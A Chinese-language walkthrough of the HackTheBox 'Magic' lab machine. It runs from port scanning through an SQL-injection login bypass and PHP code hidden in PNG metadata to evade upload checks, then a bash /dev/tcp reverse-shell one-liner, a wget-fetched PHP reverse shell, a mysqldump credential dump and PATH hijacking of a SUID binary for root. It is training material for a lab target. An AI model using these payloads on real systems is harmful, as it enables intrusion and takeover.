HackTheBox-Magic Video Walkthrough 😀
Recon
Masscan
➜ Magic masscan -p 1-65535 10.10.10.185 -e tun0 --rate=1000
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-04-23 16:31:14 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 80/tcp on 10.10.10.185
Discovered open port 22/tcp on 10.10.10.185
^Cwaiting several seconds to exit...
扫描的时候我看了一下目标机器的介绍,看来比较贴近生活,不是那种 CTF
型的。所以也就不用太多去考虑从什么密码藏在图片里,或者在注释里这种情况。
目标只开放了两个端口,80
和 22
。比较贴近实际的渗透测试,22
端口一般不需要考虑。直接去看下 80
端口的网站。
左下角的登录,到登录页面看一下。
以防万一还是用 dirsearch
看了一下有没有隐藏文件夹可以暴漏敏感信息的,但是没有收获。用 BurpSuite
拦截了一下请求,本地是有一个 PHPSESSID
的 Cookie
,而且没有 http-only
。那么是可以 XSS
的。不过这里应该不适用,没人点我的恶意页面啊,也偷不到 Cookie
。
扩展阅读
关于HTTP-ONLY
的一些文章
Http-only Secure Cookie
Http-only Question
那搞个什么,倒是有一个 admin login
页面,但是一想也不会去爆破什么登录密码。
那就只有一个可能了。
扩展阅读
有一句话叫,有输入框的地方,就有SQL
注入的可能
Comments in SQL Injection
Another comments in SQL Injection
SQL CheetSheet
下面这两个是重磅的,值得一看
Learn MySQL
Login Bypass SQL Injection
测试一下看是不是这样。
用 admin
:admin
登录一下,会报错。
根据上面的资料,我可以用一个双引号 "
或者一个单引号 '
去做尝试,有不同的返回,就说明是 SQL Injection
没错了。
用 "
:admin
登录,还是报错。
但是用 '
:admin
登录,没有报错,而是弹回到登录页面。
确认完毕。说明后端的 SQL
是用单引号拼的 raw query
。
登录大同小异,大致如:
SELECT USER_NAME FROM USER WHERE USERNAME = 'XXX' AND PASSWORD = 'OOO'; 😜
密码肯定是存 hash
,那么只要返回不为空,就说明有用户名密码正确,登录,否则就给错误提示。
这个 SQL
是拼进去的,如:
SELECT USER_NAME FROM USER WHERE USERNAME = '\$username' AND PASSWORD = '\$password';
我一开始看到很多用注释去注入的,第一次尝试是拼一个用户名这边返回 true
,然后抹掉之后密码判断的部分。
用户名:' or ''='' --
密码:(空)
但是发现不行。这个用户名的输入框是不允许有空格的,上面的空格是我复制粘贴进去。我拦截了一下请求
看起来是这样的,因为 这篇文章,我尝试过把 +
号改成 %20
或者 %2B
都不行。
搜了一下 mysql comments not working
, 这篇文章 给出了答案。
是因为 --
作为注释的时候,第二个 -
后面一定要跟一个空格或者控制字符。
这个用户名输入框不能输入空格,可以复制粘贴一个进去,或者用 Burp
在用户名后面添一个 +
号或者一个 %20
都是可以的。
当然,还有一种方式就是将用户名和密码两段 SQL
都返回 true
,那么就应该这样做:
用户名:'or''='
密码:'or''='
有任何疑问,就读 Login Bypass SQL Injection
成功登录。
Foothold
可以上传图片了,但是我不想上传图片,我要上传 php reverse shell
。
首先检查一下对文件扩展名有没有限制,创建一个 phpinfo
测试文件上传试一下。
嗯,还是被拦截掉了。
搜索一下 pentest bypass upload extention limit
,这篇文章 给出了答案。
看到 Burp
的时候,应该就能想到改一下 request header
信息就能让服务器认为我上传的是图片而不是代码。
Content-Type
显示是 php
,所以被服务器拒绝了。
搜索一下 http header content type for image
,这里列出了所有的 Content-Type
类型。我要找的是 image/jpeg
。
可惜的是,失败了!
我把 php
文件的扩展名直接改成 png
,结果被嘲讽了 😭
我选择了一张真正的 png
图片上传,然后用 Burp
将 Content-Type
改为 application/x-php
,但是图片还是成功上传,说明服务端不是用 Content-Type
来判断是否能上传。
我将那张图片的扩展名改成 php
,然后上传,报错了。说明首先是根据扩展名来判断是否能上传。白名单只有三个:jpg
,jpeg
,png
。
前面说过我把 php
代码的文件扩展名改成 png
上传,被服务端嘲讽了,说明还有一层保护,可能是上传之后的文件,要确认一下是不是图片格式的文件。
扩展阅读
Bypass file upload
Hide Code in Image
Different techniques to hide code
Ninja bypass
Bypass File Upload Restrictions
Backdoor in Image
我又搜索了一下 exiftool hide code in png
,看到了 这个视频
为了测试,我将 php
代码用 exiftool
写入到 png
图片中,然后把图片名字改成 .php.png
之后上传,上传成功。
因为已经登录,所以可以访问 images/uploads
目录,访问到图片之后,返回了我想要的信息,说明代码执行成功了。
在地址栏执行 ls
命令,就拿到了文件夹中所有文件。
但是我发现执行一个命令,图片就被删除了。所以还是来个 reverse shell
方便。
<?php echo shell_exec('bash -i >& /dev/tcp/ip/port 0>&1');?>
同样的方式隐藏到图片中。
本地 nc
监听 9903
端口,然后上传图片并执行。
不成功。之后试了好多次,我觉得还是看一下服务器上有没有 wget
,一般都是有的。用 wget
下载我本机上的 php reverse shell
文件并执行。因为这个文件很大,我没有尝试直接塞到图片中,那样会有很多字符需要 escape
,不太现实。
首先我确认一下有没有 wget
。
路径在这里。
执行下一步。下载 pentestmonkey
的 reverse shell
或者直接复制 kali
自带的 - /usr/share/webshells/php/php-reverse-shell.php
。
然后用 python
开一个本地 http
服务器。
下载保存好的文件,然后执行。
下载成功,保存成功,但是没有执行。换个思路好了,下载了直接保存到当前目录,然后访问执行。
我上传两张图片,一张执行下载程序,一张执行 ls
,确认我的 rs.php
文件保存到了当前目录。
下载成功。
确认保存在了当前文件夹。
现在可以访问执行了。
拿到 www-data
用户的 shell
。
思考
今后在工作中,下载文件到磁盘的是动作很大的方式,你的行踪很容易被发现。但是反过来说,如果被发现了,也说明客户有一定的安全防护机制,都可以写到报告里告知客户。
最安静的方式,肯定还是在cmd
上,执行命令,只触碰内存。
Privilege Escalation
升级个 tty
。
很奇怪,/var/www/html
里什么都没有。
用户 theseus
家目录里有一个 flag
,但是还看不了,没权限。
这些是 passwd
文件的内容。
再去网站根目录看一下,发现网站的内容是在 Magic
文件夹,而不是默认的 html
。
找到数据库的配置,所有用户信息全部泄露,这可以大大地写道报告里。
我找到了嘲讽我的那句话,我要看一下到底上传的时候是做了什么判断。
首先是扩展名检查,再次检查内容不是伪造的,跟上面判断的差不多。
到这里,我相信 db.php
中获取的数据库用户名和密码,同样可以在 ssh
登录。
登录被拒绝了。
服务器 sshd_config
只允许公钥验证。
而且用 su theseus
然后输入密码,验证失败。数据库配置中的密码不是该用户的密码。
这里卡了好久好久,这个用户名和密码不能使用的话放着没有道理。搜索一下 dump data from mysql using username and password
,第一个关键词是 mysqldump
查看是否安装。
确认安装。这里有点误导就是我之前看 mysql
是没有安装的,我就觉得是不是这个用户名密码不是用来搞数据的,而只是用来 ssh
登录。把我带去搜了好久的 ssh
相关内容。
导出所有数据库,mysqldump -u[username] -p[pasword] -A > outputfile
-- MySQL dump 10.13 Distrib 5.7.29, for Linux (x86_64)
--
-- Host: localhost Database:
-- ------------------------------------------------------
-- Server version 5.7.29-0ubuntu0.18.04.1
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
--
-- Current Database: `Magic`
--
CREATE DATABASE /*!32312 IF NOT EXISTS*/ `Magic` /*!40100 DEFAULT CHARACTER SET latin1 */;
USE `Magic`;
--
-- Table structure for table `login`
--
DROP TABLE IF EXISTS `login`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `login` (
`id` int(6) NOT NULL AUTO_INCREMENT,
`username` varchar(50) NOT NULL,
`password` varchar(100) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `login`
--
LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
-- Dump completed on 2020-04-24 17:38:33
找到了 admin
的登陆信息。
我尝试了各种组合,因为是个密码,无非就是数据库的或者系统的登陆密码。应该不会是 root
,不然事情也太简单了。所以再尝试登陆一下
theseus
:Th3s3usW4sK1ng
,登陆成功。
我查看了一下用户 id
,确保用户没有在特殊的组里面。再看了一下 sudo -l
,发现用户并没有使用 sudo
的权限。
然后我下载了 pentestmonkey unix-prev-check
,做了一遍系统检查
Search the output below for the word 'WARNING'. If you don't see it then
WARNING: /etc/cron.daily/apache2 is run by cron as root. /etc/cron.daily/apache2 contains the string /v
ar/cache/apache2/mod_cache_disk. The user www-data can write to /var/cache/apache2/mod_cache_disk
WARNING: /etc/cron.daily/apport is run by cron as root. /etc/cron.daily/apport contains the string /var
/crash. The group whoopsie can write to /var/crash
WARNING: /etc/cron.daily/apport is run by cron as root. /etc/cron.daily/apport contains the string /var
/crash. World write is set for /var/crash (but sticky bit set)
WARNING: /etc/cron.daily/man-db is run by cron as root. /etc/cron.daily/man-db contains the string /pro
c/self/status. The user theseus can write to /proc/self/status
WARNING: /etc/cron.daily/man-db is run by cron as root. /etc/cron.daily/man-db contains the string /pro
c/self/status. The user theseus can write to /proc/self
WARNING: /etc/cron.daily/man-db is run by cron as root. /etc/cron.daily/man-db contains the string /var
/cache/man. The user man can write to /var/cache/man
WARNING: /etc/cron.daily/popularity-contest is run by cron as root. /etc/cron.daily/popularity-contest
contains the string /var/log. The group syslog can write to /var/log
WARNING: /etc/cron.daily/popularity-contest is run by cron as root. /etc/cron.daily/popularity-contest
contains the string /var/log/popularity-contest. The group syslog can write to /var/log
WARNING: /etc/cron.weekly/man-db is run by cron as root. /etc/cron.weekly/man-db contains the string /p
roc/self/status. The user theseus can write to /proc/self/status
WARNING: /etc/cron.weekly/man-db is run by cron as root. /etc/cron.weekly/man-db contains the string /p
roc/self/status. The user theseus can write to /proc/self
WARNING: /etc/cron.weekly/man-db is run by cron as root. /etc/cron.weekly/man-db contains the string /v
ar/cache/man. The user man can write to /var/cache/man
WARNING: /usr/sbin/pppd is SUID root. /usr/sbin/pppd contains the string /etc/mtab. The user theseus ca
n write to /etc/mtab
WARNING: /usr/sbin/pppd is SUID root. /usr/sbin/pppd contains the string /var/lock. World write is set
for /var/lock (but sticky bit set)
WARNING: /usr/sbin/pppd is SUID root. /usr/sbin/pppd contains the string /var/log/ppp-connect-errors. T
he group syslog can write to /var/log
WARNING: /usr/bin/sudo is SUID root. /usr/bin/sudo contains the string /dev/stdout. The user theseus ca
n write to /dev/stdout
WARNING: /usr/bin/sudo is SUID root. /usr/bin/sudo contains the string /proc/self/stat. The user theseu
s can write to /proc/self/stat
WARNING: /usr/bin/sudo is SUID root. /usr/bin/sudo contains the string /proc/self/stat. The user theseu
s can write to /proc/self
WARNING: /usr/bin/sudo is SUID root. /usr/bin/sudo contains the string /var/tmp/. World write is set fo
r /var/tmp/ (but sticky bit set)
WARNING: /usr/bin/sudo is SUID root. /usr/bin/sudo contains the string /var/tmp/. World write is set fo
r /var/tmp (but sticky bit set)
WARNING: /usr/lib/openssh/ssh-keysign is SUID root. /usr/lib/openssh/ssh-keysign contains the string /t
mp/ssh-XXXXXXXXXXXX. World write is set for /tmp (but sticky bit set)
WARNING: /usr/lib/snapd/snap-confine is SUID root. /usr/lib/snapd/snap-confine contains the string /pro
c/mounts. The user theseus can write to /proc/mounts
WARNING: /usr/lib/snapd/snap-confine is SUID root. /usr/lib/snapd/snap-confine contains the string /pro
c/self/exe. The user theseus can write to /proc/self
WARNING: /lib/systemd/systemd is currently running as gdm. /lib/systemd/systemd contains the string /pr
oc/self/fd/1. The user theseus can write to /proc/self
...
WARNING: /lib/systemd/systemd is currently running as gdm. /lib/systemd/systemd contains the string /pr
oc/self/fd/2. The user theseus can write to /proc/self/fd
WARNING: /lib/systemd/systemd is currently running as gdm. /lib/systemd/systemd contains the string /pr
oc/self/fd/2. The user theseus can write to /proc/self
WARNING: /lib/systemd/systemd is currently running as gdm. /lib/systemd/systemd contains the string /pr
oc/self/gid_map. The user theseus can write to /proc/self/gid_map
WARNING: /lib/systemd/systemd is currently running as gdm. /lib/systemd/systemd contains the string /pr
oc/self/gid_map. The user theseus can write to /proc/self
WARNING: /lib/systemd/systemd is currently running as gdm. /lib/systemd/systemd contains the string /pr
oc/self/mountinfo. The user theseus can write to /proc/self/mountinfo
WARNING: /lib/systemd/systemd is currently running as gdm. /lib/systemd/systemd contains the string /pr
oc/self/mountinfo. The user theseus can write to /proc/self
WARNING: /lib/systemd/systemd is currently running as gdm. /lib/systemd/systemd contains the string /pr
oc/self/ns/. The user theseus can write to /proc/self/ns/
WARNING: /lib/systemd/systemd is currently running as gdm. /lib/systemd/systemd contains the string /pr
oc/self/ns/. The user theseus can write to /proc/self/ns
WARNING: /lib/systemd/systemd is currently running as gdm. /lib/systemd/systemd contains the string /pr
oc/self/ns/. The user theseus can write to /proc/self
WARNING: /lib/systemd/systemd is currently running as gdm. /lib/systemd/systemd contains the string /pr
oc/self/ns/net. The user theseus can write to /proc/self/ns
WARNING: /lib/systemd/systemd is currently running as gdm. /lib/systemd/systemd contains the string /pr
oc/self/ns/net. The user theseus can write to /proc/self
WARNING: /lib/systemd/systemd is currently running as gdm. /lib/systemd/systemd contains the string /pr
oc/self/oom_score_adj. The user theseus can write to /proc/self/oom_score_adj
WARNING: /lib/systemd/systemd is currently running as gdm. /lib/systemd/systemd contains the string /pr
oc/self/oom_score_adj. The user theseus can write to /proc/self
WARNING: /lib/systemd/systemd is currently running as gdm. /lib/systemd/systemd contains the string /pr
oc/self/setgroups. The user theseus can write to /proc/self/setgroups
WARNING: /lib/systemd/systemd is currently running as gdm. /lib/systemd/systemd contains the string /pr
oc/self/setgroups. The user theseus can write to /proc/self
WARNING: /lib/systemd/systemd is currently running as gdm. /lib/systemd/systemd contains the string /pr
oc/self/status. The user theseus can write to /proc/self/status
WARNING: /lib/systemd/systemd is currently running as gdm. /lib/systemd/systemd contains the string /pr
oc/self/status. The user theseus can write to /proc/self
WARNING: /lib/systemd/systemd is currently running as gdm. /lib/systemd/systemd contains the string /pr
oc/self/uid_map. The user theseus can write to /proc/self/uid_map
WARNING: /lib/systemd/systemd is currently running as gdm. /lib/systemd/systemd contains the string /pr
oc/self/uid_map. The user theseus can write to /proc/self
WARNING: /lib/systemd/systemd is currently running as gdm. /lib/systemd/systemd contains the string /ru
n/lock. World write is set for /run/lock (but sticky bit set)
WARNING: /lib/systemd/systemd is currently running as gdm. /lib/systemd/systemd contains the string /tm
p. World write is set for /tmp (but sticky bit set)
WARNING: /lib/systemd/systemd is currently running as gdm. /lib/systemd/systemd contains the string /tm
p/dissect-XXXXXX. World write is set for /tmp (but sticky bit set)
WARNING: /lib/systemd/systemd is currently running as gdm. /lib/systemd/systemd contains the string /tm
p/namespace-dev-XXXXXX. World write is set for /tmp (but sticky bit set)
WARNING: /lib/systemd/systemd is currently running as gdm. /lib/systemd/systemd contains the string /tm
p/systemd-temporary-XXXXXX. World write is set for /tmp (but sticky bit set)
WARNING: /lib/systemd/systemd is currently running as gdm. /lib/systemd/systemd contains the string /va
r/log/journal. The group syslog can write to /var/log
WARNING: /lib/systemd/systemd is currently running as gdm. /lib/systemd/systemd contains the string /va
r/log/wtmp. The group syslog can write to /var/log
WARNING: /lib/systemd/systemd is currently running as gdm. /lib/systemd/systemd contains the string /va
r/tmp. World write is set for /var/tmp (but sticky bit set)
WARNING: /usr/bin/dbus-daemon is currently running as gdm. /usr/bin/dbus-daemon contains the string /pr
oc/self/oom_score_adj. The user theseus can write to /proc/self/oom_score_adj
WARNING: /usr/bin/dbus-daemon is currently running as gdm. /usr/bin/dbus-daemon contains the string /pr
oc/self/oom_score_adj. The user theseus can write to /proc/self
WARNING: /bin/bash is currently running as www-data. /bin/bash contains the string /dev/fd/. The user t
heseus can write to /dev/fd/
WARNING: /bin/bash is currently running as www-data. /bin/bash contains the string /dev/fd/. The user t
heseus can write to /dev/fd
WARNING: /bin/bash is currently running as www-data. /bin/bash contains the string /dev/fd/H. The user
theseus can write to /dev/fd
WARNING: /bin/bash is currently running as www-data. /bin/bash contains the string /dev/fd/I. The user
theseus can write to /dev/fd
WARNING: /bin/bash is currently running as www-data. /bin/bash contains the string /tmp. World write is
set for /tmp (but sticky bit set)
WARNING: /bin/bash is currently running as www-data. /bin/bash contains the string /var/tmp. World writ
e is set for /var/tmp (but sticky bit set)
WARNING: /usr/bin/Xwayland is currently running as gdm. /usr/bin/Xwayland contains the string /dev/shm.
World write is set for /dev/shm (but sticky bit set)
WARNING: /usr/bin/Xwayland is currently running as gdm. /usr/bin/Xwayland contains the string /dev/shm/
shmfd-XXvRTPort. World write is set for /dev/shm (but sticky bit set)
WARNING: /usr/bin/Xwayland is currently running as gdm. /usr/bin/Xwayland contains the string /tmp. Wor
ld write is set for /tmp (but sticky bit set)
WARNING: /usr/bin/Xwayland is currently running as gdm. /usr/bin/Xwayland contains the string /tmp/laun
ch. World write is set for /tmp (but sticky bit set)
WARNING: /usr/bin/dbus-daemon is currently running as gdm. /usr/bin/dbus-daemon contains the string /pr
oc/self/oom_score_adj. The user theseus can write to /proc/self/oom_score_adj
WARNING: /usr/bin/dbus-daemon is currently running as gdm. /usr/bin/dbus-daemon contains the string /pr
oc/self/oom_score_adj. The user theseus can write to /proc/self
并没有什么有用的信息。
我看了一下 unix-priv-check
的介绍里面写了,他是没有检查 suid
权限的可执行文件的。所以还是要手动检查一下 - find / -perm -4000 -type f 2>/dev/null
这个 sysinfo
很可疑,因为这跟 windows
中查看系统相关信息的命令 systeminfo
很相似,Linux
中是没有的,不是系统自带。
确认一下权限
strings
看一下
有一种似曾相识的感觉 😀
伪造一个 cat
文件吧。
这是 cat
的内容,加上执行权限,然后将当前目录添加到 PATH
。
All set!
本地监听 9905
端口,执行 sysinfo
,获得 root shell
。
I'm in...